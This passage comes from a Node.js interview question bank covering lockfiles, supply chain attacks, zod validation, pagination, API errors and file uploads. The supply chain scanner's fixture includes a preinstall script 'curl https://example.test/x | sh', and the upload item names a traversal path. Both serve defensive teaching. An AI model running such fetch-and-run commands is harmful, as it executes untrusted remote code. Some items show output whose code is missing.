Commands: npm install -w packages/web adds to one workspace. npm run build -w @school/web runs one script. npm run test --workspaces --if-present runs it everywhere that defines it. npm ls shows the tree.
Run scripts in dependency order yourself, or use a task runner. npm does not sort workspaces by dependency.
Common problems
Phantom dependencies: because of hoisting, code can import a package that it did not declare, and it breaks when published. Declare every import. pnpm blocks this by design.
Versioning and publishing: tools such as changesets or Lerna manage versions and changelogs.
Slow CI: use affected-only builds and caching with Turborepo or Nx.
TypeScript: use project references or build outputs so packages see each other's types.
Alternatives: pnpm workspaces (strict, fast, content-addressable store), Yarn workspaces. The concept is the same.
A temporary monorepo with two packages is installed without network access. The script shows the symlink and runs scripts in one and in all workspaces. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
npm install exit code: 0
node_modules/@school/core is a symlink: true
it points to: ../../packages/core
run one workspace: Hello Asha from core
run in all workspaces: core tests ran | web tests ran
Key points
Workspaces are listed in the root package.json.
Local packages are symlinked, not downloaded.
Shared dependencies are hoisted to the root.
-w and --workspaces run scripts in selected packages.
Declare all imports to avoid phantom dependencies.
Common mistakes
Forgetting private: true in the root package.json.
Importing a package that is only available because of hoisting.
Running npm install inside a workspace folder and creating a second lockfile.
Building packages in the wrong order.
Publishing all packages with the same version without a release tool.
Follow-ups
How do pnpm workspaces differ from npm workspaces?
What does Turborepo or Nx add on top of workspaces?
How do you share TypeScript types between packages?
Tips
Give the three facts: workspaces list, symlink, hoisting.
Mention phantom dependencies as a real risk.
Name pnpm and a task runner as the next step.
130.nodejs-0130Easyfresher
What does package-lock.json protect you from, and how do you check a lockfile for drift and unsafe entries in CI?
The lockfile records the exact version, download URL and integrity hash of every dependency, so every install gets the same files and a tampered download is rejected. npm ci installs exactly what the lockfile says and fails when package.json and the lockfile disagree. Commit the lockfile, use npm ci in CI and production builds, and review lockfile changes like code.
Full answer
What is in the lockfile
For every package (lockfileVersion 3 uses a flat packages map): version, resolved (the tarball URL), integrity (a SHA-512 hash), dependencies and flags such as dev, optional and hasInstallScript.
It is a snapshot of the full tree, including transitive dependencies that package.json does not list.
What it gives you
Repeatable installs. A caret range in package.json can resolve to a newer version tomorrow. The lockfile pins what you tested.
Integrity: npm checks the downloaded file against the hash. A changed or poisoned tarball fails the install.
Faster installs and clear diffs for updates.
npm install versus npm ci
npm install may update the lockfile when ranges allow newer versions.
npm ci deletes node_modules, installs exactly the lockfile, never writes it, and exits with an error if package.json and the lockfile are out of sync. This is the command for CI, Docker builds and deployments.
Hygiene checks in CI
Run npm ci, not npm install. Fail the build if the lockfile changes (git diff --exit-code package-lock.json).
Review lockfile diffs in pull requests. Watch for resolved URLs that point to unexpected hosts, git or http dependencies, and entries that lose their integrity hash.
Use one package manager per repository and commit the lockfile for applications. Libraries commit it too for their own development, even though consumers ignore it.
Run npm audit regularly and update with intent (npm update, Renovate or Dependabot), not by deleting the lockfile.
Avoid resolving conflicts by hand-editing. Delete the conflict markers by re-running npm install to regenerate the affected entries.
javascript
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const { spawnSync } = require('node:child_process');
// 1. A small lockfile check: registry host, https, and an integrity hash on every package.
const lock = {
lockfileVersion: 3,
packages: {
'': { name: 'app', dependencies: { express: '^5.0.0' } },
'node_modules/express': { version: '5.1.0', resolved: 'https://registry.npmjs.org/express/-/express-5.1.0.tgz', integrity: 'sha512-AAAA' },
'node_modules/leftpad': { version: '1.3.0', resolved: 'https://registry.npmjs.org/leftpad/-/leftpad-1.3.0.tgz' },
'node_modules/tool': { version: '2.0.0', resolved: 'http://example.test/tool-2.0.0.tgz', integrity: 'sha512-BBBB' },
'node_modules/fork': { version: '0.1.0', resolved: 'git+ssh://git@example.test/fork.git#abc123' },
},
};
function checkLock(lockfile) {
const problems = [];
for (const [location, info] of Object.entries(lockfile.packages)) {
if (location === '') continue;
const name = location.replace('node_modules/', '');
if (!info.integrity) problems.push(`${name}: no integrity hash`);
if (!/^https:\/\/registry\.npmjs\.org\//.test(info.resolved || '')) problems.push(`${name}: not from the npm registry over https (${info.resolved.split(':')[0]})`);
}
return problems;
}
console.log(checkLock(lock).join('\n'));
// 2. npm ci refuses to run when package.json and the lockfile disagree.
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'lock-'));
fs.writeFileSync(path.join(dir, 'package.json'), JSON.stringify({ name: 'demo', version: '1.0.0' }));
const npm = (...args) => spawnSync('npm', args, { cwd: dir, encoding: 'utf8' });
npm('install', '--package-lock-only', '--offline', '--no-audit', '--no-fund');
console.log('lockfile created:', fs.existsSync(path.join(dir, 'package-lock.json')));
console.log('npm ci in sync exit code:', npm('ci', '--offline', '--no-audit', '--no-fund').status);
fs.mkdirSync(path.join(dir, 'local-dep'));
fs.writeFileSync(path.join(dir, 'local-dep', 'package.json'), JSON.stringify({ name: 'local-dep', version: '1.0.0' }));
fs.writeFileSync(path.join(dir, 'package.json'), JSON.stringify({ name: 'demo', version: '1.0.0', dependencies: { 'local-dep': 'file:./local-dep' } }));
const drift = npm('ci', '--offline', '--no-audit', '--no-fund');
console.log('npm ci after adding a dependency without updating the lockfile: exit code', drift.status, '| EUSAGE:', /EUSAGE/.test(drift.stderr));
fs.rmSync(dir, { recursive: true });
The first part is a small checker run on a made-up lockfile. The second part runs the real npm ci in a temporary project, once in sync and once with drift. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
leftpad: no integrity hash
tool: not from the npm registry over https (http)
fork: no integrity hash
fork: not from the npm registry over https (git+ssh)
lockfile created: true
npm ci in sync exit code: 0
npm ci after adding a dependency without updating the lockfile: exit code 1 | EUSAGE: true
Key points
The lockfile pins exact versions, URLs and integrity hashes.
Integrity hashes detect tampered downloads.
npm ci never changes the lockfile and fails on drift.
Review lockfile diffs for odd hosts and missing hashes.
Never delete the lockfile to fix a problem.
Common mistakes
Deleting package-lock.json and package.json node_modules to fix errors.
Using npm install in CI, which can change versions.
Approving lockfile changes without reading them.
Mixing npm, Yarn and pnpm lockfiles in one repository.
Not committing the lockfile for an application.
Follow-ups
What is the integrity field, and which algorithm does it use?
How do you update one dependency without touching the rest?
What does npm ci do to node_modules before installing?
Tips
Say 'exact versions plus integrity hashes'.
Contrast npm install and npm ci.
Mention reviewing the lockfile diff.
131.nodejs-0131Hardsenior
What is a software supply chain attack in the npm ecosystem, and what practical controls reduce the risk?
Attackers publish look-alike packages (typosquatting), take over maintainer accounts, add malicious code to an update, or run code through install scripts. Reduce the risk with a committed lockfile and npm ci, fewer dependencies, --ignore-scripts with an allowlist, pinned or delayed updates, provenance and signature checks, least privilege in CI, and automated scanning with a human review of changes.
Full answer
How attacks happen
Typosquatting and dependency confusion: a package named expresss or an internal package name published on the public registry.
Account takeover: a stolen maintainer token publishes a bad version of a popular package.
Malicious updates: a maintainer or a new owner adds code that steals environment variables, tokens or files.
Install scripts: preinstall, install and postinstall run arbitrary commands on every machine that installs the package, including CI.
Transitive dependencies: your app has hundreds of packages you never chose.
Controls
Fewer dependencies. Every package is trust. Prefer built-in modules (fetch, node:test, crypto) when they are enough.
Lockfile and npm ci, so only reviewed versions install. Review lockfile diffs.
Disable scripts by default: npm ci --ignore-scripts (or ignore-scripts=true in .npmrc), then run the few scripts you need explicitly. Recent npm versions can also approve install scripts per package.
Delay updates: wait a few days for new versions, or use a minimum release age setting in your update bot, so a compromised release is found first.
Verify provenance: npm audit signatures checks registry signatures and provenance attestations. Prefer packages published with provenance from a CI system.
Scope names and registries: use an organisation scope for internal packages and configure the registry for that scope, to prevent dependency confusion.
Least privilege: CI jobs without production secrets, short-lived tokens, and two-factor authentication or trusted publishing for your own packages.
Monitor: npm audit, Dependabot or Renovate alerts, and tools that analyse package behaviour. Know how to remove or replace a package quickly.
Build in containers with no access to secrets, and sign your own artifacts.
No single control is enough. The aim is to make an attack need more steps than an attacker is willing to take, and to notice it fast.
javascript
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
// Build a fake node_modules folder with a few packages.
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'supply-'));
const modules = path.join(root, 'node_modules');
const add = (name, manifest) => {
fs.mkdirSync(path.join(modules, name), { recursive: true });
fs.writeFileSync(path.join(modules, name, 'package.json'), JSON.stringify({ name, version: '1.0.0', ...manifest }));
};
add('express', {});
add('lodash', {});
add('bcrypt', { scripts: { install: 'node-gyp-build' } }); // legitimate native build
add('expresss', { scripts: { postinstall: 'node collect.js' } }); // look-alike with a script
add('lodahs', {}); // look-alike without a script
add('left-helper', { scripts: { preinstall: 'curl https://example.test/x | sh' } });
// 1. A scanner for install scripts and similar names.
const popular = ['express', 'lodash', 'react', 'axios', 'chalk', 'moment', 'commander', 'debug'];
function distance(a, b) {
const row = Array.from({ length: b.length + 1 }, (_, i) => i);
for (let i = 1; i <= a.length; i++) {
let prev = row[0];
row[0] = i;
for (let j = 1; j <= b.length; j++) {
const temp = row[j];
row[j] = Math.min(row[j] + 1, row[j - 1] + 1, prev + (a[i - 1] === b[j - 1] ? 0 : 1));
prev = temp;
}
}
return row[b.length];
}
const lookAlike = (name) => popular.find((p) => p !== name && distance(name, p) <= 2 && !popular.includes(name));
const hooks = ['preinstall', 'install', 'postinstall'];
const allowScripts = new Set(['bcrypt']); // reviewed and approved
for (const name of fs.readdirSync(modules).sort()) {
const manifest = JSON.parse(fs.readFileSync(path.join(modules, name, 'package.json'), 'utf8'));
const scripts = hooks.filter((h) => manifest.scripts && manifest.scripts[h]);
const findings = [];
if (scripts.length) findings.push(`${scripts.join('+')} script ${allowScripts.has(name) ? '(approved)' : '(NOT approved)'}`);
const similar = lookAlike(name);
if (similar) findings.push(`name close to "${similar}"`);
console.log(name.padEnd(12), findings.length ? findings.join('; ') : 'nothing found');
}
fs.rmSync(root, { recursive: true });
A fake node_modules folder with look-alike names and install scripts is scanned. This is a teaching sketch of the idea, not a replacement for npm audit or a real scanner. Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
bcrypt install script (approved)
express nothing found
expresss postinstall script (NOT approved); name close to "express"
left-helper preinstall script (NOT approved)
lodahs name close to "lodash"
lodash nothing found
Key points
Attacks use look-alike names, stolen accounts, bad updates and install scripts.
Fewer dependencies mean less trust to extend.
Lockfile, npm ci and --ignore-scripts are the baseline.
Delay updates and verify provenance and signatures.
Keep secrets away from install and build steps.
Common mistakes
Running npm install with scripts enabled on every CI job that has secrets.
Auto-merging dependency updates the minute they are published.
Adding a package for a ten-line function.
Trusting a package because it has many downloads.
Storing publish tokens with no two-factor protection.
Follow-ups
What is dependency confusion, and how do scopes help?
What does npm audit signatures verify?
How would you respond if a dependency was reported as compromised?
Tips
Name four attack paths briefly.
Lead the controls with 'fewer dependencies' and 'npm ci'.
Say that no single control is enough.
132.nodejs-0132Easyfresher
Why must you validate input at the edge of a Node.js service, and how do zod schemas, parse and safeParse work?
Request data is untrusted and its TypeScript or JSDoc types do not exist at run time. A schema library such as zod describes the allowed shape, parses unknown input, converts types when asked (coercion), applies defaults, and returns clear issues. parse throws a ZodError, safeParse returns a result object. Validate at the boundary, then trust the typed data inside.
Full answer
Why validate
Anything from outside (HTTP bodies, query strings, environment variables, queue messages, files) can have the wrong shape. Type annotations are removed at run time and protect nothing.
Validation prevents crashes, bad data in the database, and some injection and mass-assignment problems. It also gives users useful errors.
schema.parse(input) returns the typed, cleaned value or throws a ZodError.
schema.safeParse(input) returns { success: true, data } or { success: false, error }. Use it when invalid input is normal, such as in request handlers.
error.issues lists each problem with path, code and message.
By default unknown keys are removed (stripped). z.strictObject rejects them.
optional(), nullable(), default(value) and enum for fixed choices.
Coercion: z.coerce.number() turns '42' into 42, which is useful for query strings and environment variables. Be careful with coerce.boolean, because any non-empty string is true. Use explicit enums or transforms.
transform and refine add conversion and custom rules. Keep them small and pure.
z.infer<typeof schema> gives the TypeScript type from the schema (one source of truth).
Good practice
Validate once at the boundary, then pass the parsed value on.
Return messages that do not leak internals. Do not echo secrets.
Put a size limit on the body before parsing, because validation does not limit memory.
Alternatives: ajv with JSON Schema (used by Fastify), valibot, joi, yup.
javascript
const { z } = require('zod');
const Student = z.object({
name: z.string().trim().min(1),
age: z.coerce.number().int().min(5).max(100),
email: z.email(),
track: z.enum(['web', 'data']).default('web'),
});
// Valid input with strings that need conversion, an extra key and a missing default.
const ok = Student.safeParse({ name: ' Asha ', age: '17', email: 'asha@example.com', admin: true });
console.log('ok:', ok.success, JSON.stringify(ok.data));
// Invalid input: every problem is reported.
const bad = Student.safeParse({ name: '', age: 'abc', email: 'not-an-email', track: 'art' });
console.log('success:', bad.success);
for (const issue of bad.error.issues) console.log(' -', issue.path.join('.'), '|', issue.code);
// parse throws
try { Student.parse(null); } catch (err) { console.log('parse threw', err.name, 'with', err.issues.length, 'issue'); }
// A strict object rejects unknown keys instead of removing them.
const Strict = z.strictObject({ name: z.string() });
console.log('strict with extra key:', Strict.safeParse({ name: 'Asha', admin: true }).error.issues[0].code);
// A classic coerce trap
console.log('coerce.boolean("false") =', z.coerce.boolean().parse('false'));
A schema converts and checks a good input, reports each problem of a bad input, and shows the strict and coerce behaviour. Install first with npm install zod (run here with zod 4.6.7). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
ok: true {"name":"Asha","age":17,"email":"asha@example.com","track":"web"}
success: false
- name | too_small
- age | invalid_type
- email | invalid_format
- track | invalid_value
parse threw ZodError with 1 issue
strict with extra key: unrecognized_keys
coerce.boolean("false") = true
Key points
Types do not exist at run time, so validate untrusted input.
parse throws, safeParse returns a result.
issues give a path and a message for each error.
Objects strip unknown keys by default.
coerce converts strings, but coerce.boolean is risky.
Common mistakes
Trusting TypeScript types for data from the network.
Using z.coerce.boolean on strings such as 'false'.
Validating in some routes but not others.
Returning raw internal error text to clients.
Parsing a huge body without a size limit.
Follow-ups
How do you get a TypeScript type from a zod schema?
What is the difference between strip and strict objects?
How would you validate environment variables with zod?
Tips
Say 'types vanish at run time'.
Contrast parse and safeParse.
Mention the coerce.boolean trap.
133.nodejs-0133Mediummid
How do you build reusable validation middleware for Express with zod, including query parameters and protection against mass assignment?
Write a function validate(schema, where) that returns middleware. It runs safeParse on req.body, req.query or req.params, answers 400 with the issues when it fails, and otherwise stores the parsed data (for example in res.locals) for the handler. Parse query strings with coercion, strip or reject unknown fields to stop mass assignment, and never pass raw req.body to the database layer.
Full answer
The middleware pattern
validate(schema, 'body') returns (req, res, next) => { ... }. On success, store the clean data and call next(). On failure, send a 400 or 422 response with a compact list of issues and do not call next().
Keep the response format the same for all routes (see error format items).
Handlers then read from res.locals.body (the parsed data) and not from req.body.
Details that matter
In Express 5 req.query is a getter that is computed on each access, so you cannot assign a new value to it. Store the parsed query in res.locals (or a custom property).
Query values are strings. Use z.coerce.number() or transform for page and limit, and set limits: z.coerce.number().int().min(1).max(100).default(20).
Mass assignment: if you pass req.body to an update call, a client can set fields such as role or isAdmin. Parse with an object schema that lists only allowed fields. The default strips unknown keys. Use strictObject when you want to reject them.
Keep body size limits on express.json({ limit: '100kb' }). Validation comes after parsing, so it cannot protect memory.
Do not expose internals. Return path and message for each issue, not stack traces.
For documentation and typing, the same schemas can generate OpenAPI (zod-to-openapi style libraries) or TypeScript types.
Fastify has built-in JSON Schema validation (ajv). With zod you can use a type provider.
javascript
const express = require('express');
const { z } = require('zod');
const validate = (schema, where) => (req, res, next) => {
const result = schema.safeParse(req[where]);
if (!result.success) {
return res.status(400).json({
error: 'validation_failed',
issues: result.error.issues.map((i) => ({ field: i.path.join('.'), message: i.message })),
});
}
res.locals[where] = result.data; // parsed data lives here, req.query is read-only in Express 5
next();
};
const CreateUser = z.object({ name: z.string().min(2), email: z.email() }); // role is not allowed
const ListQuery = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(50).default(10),
});
const users = [];
const app = express();
app.use(express.json({ limit: '10kb' }));
app.post('/users', validate(CreateUser, 'body'), (req, res) => {
const user = { id: users.length + 1, ...res.locals.body, role: 'student' }; // role is set by the server
users.push(user);
res.status(201).json(user);
});
app.get('/users', validate(ListQuery, 'query'), (req, res) => {
const { page, limit } = res.locals.query;
res.json({ page, limit, total: users.length });
});
const server = app.listen(0, '127.0.0.1', async () => {
const base = 'http://127.0.0.1:' + server.address().port;
const post = (body) => fetch(base + '/users', { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify(body) });
let res = await post({ name: 'Asha', email: 'asha@example.com', role: 'admin' });
console.log('create with role=admin ->', res.status, JSON.stringify(await res.json()));
res = await post({ name: 'A', email: 'x' });
console.log('invalid body ->', res.status, JSON.stringify(await res.json()));
res = await fetch(base + '/users?page=2&limit=5');
console.log('query coerced ->', JSON.stringify(await res.json()));
res = await fetch(base + '/users?limit=500');
console.log('limit too large ->', res.status, JSON.stringify((await res.json()).issues));
server.close();
});
An Express app validates body and query data. The client tries to set role=admin, which is dropped, and sends bad values, which are rejected. Install first with npm install express zod (run here with express 5.3.0, zod 4.6.7). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
create with role=admin -> 201 {"id":1,"name":"Asha","email":"asha@example.com","role":"student"}
invalid body -> 400 {"error":"validation_failed","issues":[{"field":"name","message":"Too small: expected string to have >=2 characters"},{"field":"email","message":"Invalid email address"}]}
query coerced -> {"page":2,"limit":5,"total":1}
limit too large -> 400 [{"field":"limit","message":"Too big: expected number to be <=50"}]
Key points
Middleware factory: validate(schema, where).
Store parsed data separately from the raw request.
Express 5 req.query cannot be reassigned.
Strip or reject unknown fields to stop mass assignment.
Validate params and query, not only the body.
Common mistakes
Passing req.body straight to the database.
Trying to assign req.query in Express 5.
Forgetting to coerce query numbers, which arrive as strings.
Different error shapes on different routes.
Relying on validation to limit request size.
Follow-ups
How would you validate a nested array of items?
How does Fastify do validation without middleware?
How do you share one schema between server and client?
Tips
Describe the factory function first.
Mention mass assignment by name.
Mention the Express 5 req.query detail.
134.nodejs-0134Mediummid
How do you paginate a list API: offset versus cursor (keyset) pagination, and what goes wrong with offsets?
Offset pagination (page and limit, SQL OFFSET) is simple but slow on large tables and unstable when rows are inserted or deleted between requests, which gives duplicates or gaps. Cursor (keyset) pagination returns an opaque cursor that encodes the last seen sort key and asks for rows after it. It is fast, stable and the right default for feeds and big collections.
Full answer
Offset pagination
GET /items?page=3&limit=20 becomes LIMIT 20 OFFSET 40.
Good: easy, supports jumping to page N and showing total pages.
Bad: the database still reads and discards all skipped rows, so deep pages are slow. If a row is inserted or deleted while the user pages, items shift: a row can appear on two pages or be skipped.
Cursor (keyset) pagination
The client sends the cursor from the previous response: GET /items?limit=20&cursor=abc.
The cursor encodes the sort key of the last row, such as { id: 40 } or { createdAt, id }. The query is WHERE id > 40 ORDER BY id LIMIT 20 (with an index, this is fast at any depth).
Fetch limit + 1 rows to know whether there is a next page without a count query.
With a non-unique sort column, add a unique tie-breaker: WHERE (created_at, id) > ($1, $2) ORDER BY created_at, id.
Return the cursor as an opaque string (base64url of JSON), so you can change its content. Optionally sign it, and validate it on input.
Limits: you cannot jump to page 50 or show an exact total cheaply. That is fine for infinite scroll and APIs.
Cap the limit (for example 100) and set a default.
Links in the Link header (rel="next") are an alternative.
Document sort order and what happens to changes while paging.
javascript
const express = require('express');
// 12 items with ids 1 to 12, newest data inserted at the front later.
let items = Array.from({ length: 12 }, (_, i) => ({ id: i + 1, title: 'item ' + (i + 1) }));
const app = express();
// Offset pagination over a list ordered by id DESC (newest first)
app.get('/offset', (req, res) => {
const page = Number(req.query.page || 1), limit = Number(req.query.limit || 5);
const sorted = [...items].sort((a, b) => b.id - a.id);
res.json(sorted.slice((page - 1) * limit, page * limit).map((i) => i.id));
});
// Cursor pagination: the cursor holds the last id seen
const encode = (obj) => Buffer.from(JSON.stringify(obj)).toString('base64url');
const decode = (text) => JSON.parse(Buffer.from(text, 'base64url').toString());
app.get('/cursor', (req, res) => {
const limit = Math.min(Number(req.query.limit || 5), 100);
const after = req.query.cursor ? decode(req.query.cursor).id : Infinity;
const rows = items.filter((i) => i.id < after).sort((a, b) => b.id - a.id).slice(0, limit + 1); // one extra row
const hasMore = rows.length > limit;
const data = rows.slice(0, limit);
res.json({ data: data.map((i) => i.id), nextCursor: hasMore ? encode({ id: data.at(-1).id }) : null });
});
const server = app.listen(0, '127.0.0.1', async () => {
const base = 'http://127.0.0.1:' + server.address().port;
const get = async (path) => (await fetch(base + path)).json();
// Offset: a new item arrives between page 1 and page 2.
const offset1 = await get('/offset?page=1&limit=5');
items.push({ id: 13, title: 'item 13' });
const offset2 = await get('/offset?page=2&limit=5');
console.log('offset page 1:', offset1.join(','), '| page 2 after an insert:', offset2.join(','), '| duplicate id 8:', offset1.includes(8) && offset2.includes(8));
// Cursor: the same insert between the pages.
items = items.filter((i) => i.id !== 13);
const cursor1 = await get('/cursor?limit=5');
items.push({ id: 13, title: 'item 13' });
const cursor2 = await get('/cursor?limit=5&cursor=' + cursor1.nextCursor);
console.log('cursor page 1:', cursor1.data.join(','), '| page 2 after an insert:', cursor2.data.join(','), '| next cursor present:', Boolean(cursor2.nextCursor));
console.log('cursor is opaque text:', cursor1.nextCursor, '=', JSON.stringify(decode(cursor1.nextCursor)));
server.close();
});
A new item arrives between the first and second page. Offset pagination repeats an item and cursor pagination does not. Install first with npm install express (run here with express 5.3.0). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
offset page 1: 12,11,10,9,8 | page 2 after an insert: 8,7,6,5,4 | duplicate id 8: true
cursor page 1: 12,11,10,9,8 | page 2 after an insert: 7,6,5,4,3 | next cursor present: true
cursor is opaque text: eyJpZCI6OH0 = {"id":8}
Key points
Offset is simple but slow deep down and unstable with changes.
Cursor pagination uses the last seen key with an index.
Fetch limit + 1 to detect the next page.
Add a unique tie-breaker to the sort key.
Return an opaque cursor and cap the limit.
Common mistakes
Using OFFSET for large tables and deep pages.
Sorting by a non-unique column without a tie-breaker.
Exposing the cursor format so clients build their own.
Running a COUNT(*) on every request for the total.
Not capping the limit parameter.
Follow-ups
How do you paginate by createdAt when many rows share the same timestamp?
How do you let a client go backwards with cursors?
How do you show page numbers if the product needs them?
Tips
Show the insert-between-pages problem.
Say 'limit plus one'.
Give the SQL for the keyset query.
135.nodejs-0135Mediummid
How do you design consistent API errors with RFC 9457 problem details, and how do you version a Node.js REST API?
Return one error shape everywhere. RFC 9457 defines application/problem+json with type, title, status, detail and instance, plus your own fields such as errors. Map validation to 400 or 422, missing resources to 404, conflicts to 409 and unexpected failures to a generic 500 without internals. Version with a URL prefix (/v1) or a header, avoid breaking changes inside a version, and announce retirement with Deprecation and Sunset headers.
Full answer
Error format
Use the media type application/problem+json and these members: type (a URI that identifies the problem kind), title (short, stable), status (the HTTP status), detail (specific to this occurrence), instance (identifies this occurrence, for example the request id).
Add extension members: errors for field problems, code for a stable machine code, requestId.
Clients should switch on status and type or code, never parse the detail text.
Status codes: 400 malformed request, 401 not authenticated, 403 not allowed, 404 not found, 409 conflict, 422 valid syntax but failed rules, 429 too many requests, 500 and 503 server side.
Never put stack traces, SQL or secret values in responses. Log them with the request id.
Keep one central error handler. Make 404 for unknown routes use the same format.
Versioning
URL prefix: /v1/users. Simple, visible, easy to route and cache. The most common choice.
Header or media type: Accept: application/vnd.school.v2+json, or a custom header. Cleaner URLs, harder to test and cache.
Prefer additive changes (new optional fields) inside a version. A breaking change (removed or renamed field, changed meaning) needs a new version.
Support old versions for a published period. Send Deprecation: true (or a date) and Sunset: <date> headers and a Link to the migration guide.
Share code between versions by putting the business logic in services and keeping versioned routers thin (mapping input and output).
The app serves two versions and returns every error as problem+json. The unexpected error is reported without the secret text from the exception. Install first with npm install express (run here with express 5.3.0). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
v1 ok 200 application/json; charset=utf-8
{"id":1,"name":"Asha"}
deprecation headers: true | Wed, 31 Dec 2026 23:59:59 GMT
v1 not found 404 application/problem+json; charset=utf-8
{"type":"https://example.com/problems/student_not_found","title":"Student not found","status":404,"detail":"No student with id 9","instance":"/requests/req-3","code":"student_not_found"}
v1 validation 422 application/problem+json; charset=utf-8
{"type":"https://example.com/problems/validation_failed","title":"Validation failed","status":422,"detail":"name is required","instance":"/requests/req-4","code":"validation_failed","errors":[{"field":"name","message":"required"}]}
v2 renamed field 200 application/json; charset=utf-8
{"id":1,"fullName":"Asha Rao"}
unknown route 404 application/problem+json; charset=utf-8
{"type":"https://example.com/problems/route_not_found","title":"Route not found","status":404,"detail":"GET /nope does not exist","instance":"/requests/req-6","code":"route_not_found"}
server error 500 application/problem+json; charset=utf-8
{"type":"https://example.com/problems/internal-error","title":"Internal Server Error","status":500,"detail":"Something went wrong. Quote the request id to support.","instance":"/requests/req-7"}
Key points
One error shape with type, title, status, detail, instance.
Clients use status and a stable code, not the detail text.
No internals in error responses.
URL versioning is simple, and breaking changes need a new version.
Deprecation and Sunset headers announce retirement.
Common mistakes
Different error shapes in different routes.
Sending 200 with an error message in the body.
Returning stack traces or SQL errors to clients.
Making breaking changes inside an existing version.
Parsing error messages on the client instead of using codes.
Follow-ups
Which status do you use for validation errors, 400 or 422?
How do you let clients migrate from v1 to v2?
How does a request id help with support?
Tips
Name the five problem members.
Say where internals go: into logs.
Mention Deprecation and Sunset.
136.nodejs-0136Easyfresher
What are the REST basics for a Node.js API: methods, status codes, idempotency and headers like Location?
Model resources as nouns (/students/1) and use methods for actions: GET reads, POST creates, PUT replaces, PATCH changes part, DELETE removes. Answer with accurate status codes: 200, 201 with a Location header, 204 for no content, 400, 404, 409. GET, PUT and DELETE are idempotent (repeating them gives the same state), POST is not, so protect payments and orders with an idempotency key.
Full answer
Resources and methods
URLs name things: /students, /students/42, /students/42/marks. Avoid verbs in paths (/createStudent).
GET: read. Safe and idempotent. Must not change state. Cacheable.
POST: create (or run an action). Not idempotent. Send 201 Created with a Location header that points to the new resource.
PUT: replace the full resource at a known URL. Idempotent.
PATCH: partial update. Idempotent only if designed so (set a value, not 'add 1').
DELETE: remove. Idempotent. 204 No Content on success. A second delete may return 404 or 204. Both are acceptable if documented.
Status codes that interviews expect
200 OK, 201 Created, 204 No Content.
400 Bad Request (malformed), 401 Unauthorized (not logged in), 403 Forbidden (logged in but not allowed), 404 Not Found, 409 Conflict (duplicate or version conflict), 422 Unprocessable Content, 429 Too Many Requests.
500 Internal Server Error, 503 Service Unavailable.
Idempotency and retries
Networks fail, and clients retry. An idempotent method is safe to repeat. For POST requests that must not run twice (payment, order), accept an Idempotency-Key header, store the key with the response, and return the stored response for a repeat.
Use ETag with If-Match for safe concurrent updates (412 when it does not match).
Other habits: use JSON with the right content type, return the created or updated object, use plural nouns, support filtering and pagination on collections, and keep behaviour consistent.
A small CRUD server is called with every method. The retried POST with the same key does not create a second student. Install first with npm install express (run here with express 5.3.0). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
POST /students 201 /students/1 {"id":1,"name":"Asha"}
POST /students 201 /students/1 {"id":1,"name":"Asha"}
POST /students 201 /students/2 {"id":2,"name":"Ravi"}
GET /students/1 200 {"id":1,"name":"Asha"}
PUT /students/1 200 {"id":1,"name":"Asha Rao"}
PUT /students/1 200 {"id":1,"name":"Asha Rao"}
DELETE /students/1 204
DELETE /students/1 404 {"error":"not found"}
GET /students/1 404 {"error":"not found"}
Key points
Resources are nouns, methods carry the action.
POST returns 201 with Location, DELETE often returns 204.
GET, PUT and DELETE are idempotent, POST is not.
Use an idempotency key for unsafe retries.
Use 401 for not logged in and 403 for not allowed.
Common mistakes
Using verbs in URLs, such as /deleteStudent.
Returning 200 for every outcome.
Changing data in a GET request.
Confusing 401 and 403.
Retrying a POST without any idempotency protection.
Follow-ups
What is the difference between PUT and PATCH?
How does an ETag with If-Match prevent lost updates?
When do you return 409 instead of 400?
Tips
Walk through the methods in one breath.
Say 'idempotent' and explain it with a retry example.
Mention Location on 201.
137.nodejs-0137Mediummid
How do you handle multipart file uploads in Node.js safely: streaming, size limits, file names and content checks?
Parse multipart/form-data as a stream (busboy, which multer wraps) and write the file to disk or object storage while it arrives, so memory stays flat. Set limits for file size, number of files and fields, never trust the client file name or MIME type, generate your own name, store outside the web root, check the content (magic bytes) and size, and scan if needed.
Full answer
How multipart works
The browser sends one request with several parts separated by a boundary. Each part has headers (field name, file name, content type) and a body.
Do not buffer it with express.json or read it all into memory. Use a streaming parser: busboy (low level), multer (Express middleware built on busboy), or formidable.
Safe handling checklist
Limits: fileSize, files, fields, parts, and headerPairs. When the file limit is hit, busboy marks the stream as truncated and you must discard the data and answer 413 Payload Too Large. Also set a limit at the reverse proxy.
File name: treat it as untrusted text. Path traversal (../../etc/passwd) and strange characters are real attacks. Use path.basename at least, and best generate a random name (crypto.randomUUID()) and store the original name as metadata.
MIME type and extension: both come from the client and can be faked. Check the first bytes (magic numbers, for example PNG starts with 89 50 4E 47) or use a library like file-type.
Storage: write outside the public folder, or to object storage with a private bucket. Serve downloads through a handler that sets Content-Disposition and a safe content type. Never run uploaded files.
Clean up: remove partial files on abort, error or limit exceeded.
Authentication and rate limits before accepting the body.
Images and documents may need re-encoding or virus scanning.
For big files, consider direct uploads to object storage with signed URLs so your Node process does not carry the bytes.
Backpressure: pipe the file stream into the destination with pipeline, so a slow disk slows the upload instead of filling memory.
Three uploads are sent: a small PNG with a hostile file name, a text file that claims to be an image, and a file above the size limit. Install first with npm install busboy (run here with busboy 1.6.0). Save it as app.js and run it with node app.js.
Output (Node.js v24.22.1, same on two runs):
small file -> 201 {"fields":{"title":"Holiday"},"files":[{"field":"photo","clientName":"evil.png","saveAs":"file-1.bin","truncated":false,"looksLikePng":true,"bytes":24}]}
fake image -> 201 {"fields":{},"files":[{"field":"photo","clientName":"image.png","saveAs":"file-1.bin","truncated":false,"looksLikePng":false,"bytes":23}]}
